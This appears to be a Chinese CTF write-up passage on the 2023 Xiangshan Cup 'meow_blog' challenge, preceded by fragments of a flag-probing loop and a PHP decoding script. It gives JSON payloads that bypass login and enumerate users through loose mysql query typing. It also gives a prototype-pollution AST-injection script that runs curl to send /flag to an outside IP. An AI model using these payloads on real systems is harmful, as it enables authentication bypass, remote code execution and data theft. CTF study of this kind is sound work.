re=requests.get(url=url, headers=header,proxies=pro)
if "wow~" in re.text:
flag+=chr(i)
print(flag)
break

1
2
3
4
5
6
7
8
9
10
11
<?php
$seed="1";
mt_srand($seed);
$flag="hnbh}jgtg`ju`CubM3o~";
$flag = str_split($flag);
foreach ($flag as $value){
$result = $result . chr(ord($value)-mt_rand(1,2));
$a=$result;
}
echo $a;
?>

30[2023]香山杯初赛 meow_blog

首先,给了源码

1.js身份伪造

这里的身份伪造没有任何作用,同时还误导了我去看了一天的style,不过是个知识点,记一下

查看源码身份验证的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
login: async (req, res, next) => {
let conn = null;
try {
if (req.session.user) {
return res.redirect('/');
}
const username = req.data.username;
const password = req.data.password;
if (!username || !password) {
return res.status(401).render('login', { message: 'Field can\'t be empty.' });
}
conn = pool.promise();
const [formerUserRows] = await conn.query('SELECT * FROM users WHERE username = ? AND password = ?', [username, password])
if (formerUserRows.length === 0) {
return res.status(401).render('login', { message: 'Username or password error.' });
}
req.session.user = {
username: username,
id: formerUserRows[0].id,
style: formerUserRows[0].style
}
return res.redirect('/');
} catch (err) {
next(err);
}
},

由于js是一种弱类型的语言,这里可与直接绕过登录

1
2
3
4
{"username":"admim","password":{"password":true}}
//这里将传入的值作为对象处理,直接绕过
{“user”:[0],“passwd”:[0]}
username=admin&password[password]=1

对于mysql,如果js传入的是一个空数组,会出现这样的报错

User with login [] was not found

这里将数组直接转换成字符串加入道查询里面了

如果传入一个空对象{}

他会直接去寻找val.raplace这个函数,找不到返回报错

利用方式

1.枚举用户

1
{"username":[0,1,2,30,50,100],"password":"secretpassword"}

这里会报错,就可以探测存在的用户了

2.绕过密码

{“username”:[0],”password”:true}

查询的时候用0 的身份和true的密码登录了

2.AST注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import json
import requests

payload = """
{
"evil":{"__proto__":{"type": "Program","body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`curl http://1.12.48.9:8081/$(cat /flag)`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
}}}
"""

url = "http://59.110.125.41:34381"
requests.post(url + "/clearposts", json=json.loads(payload))

打就好了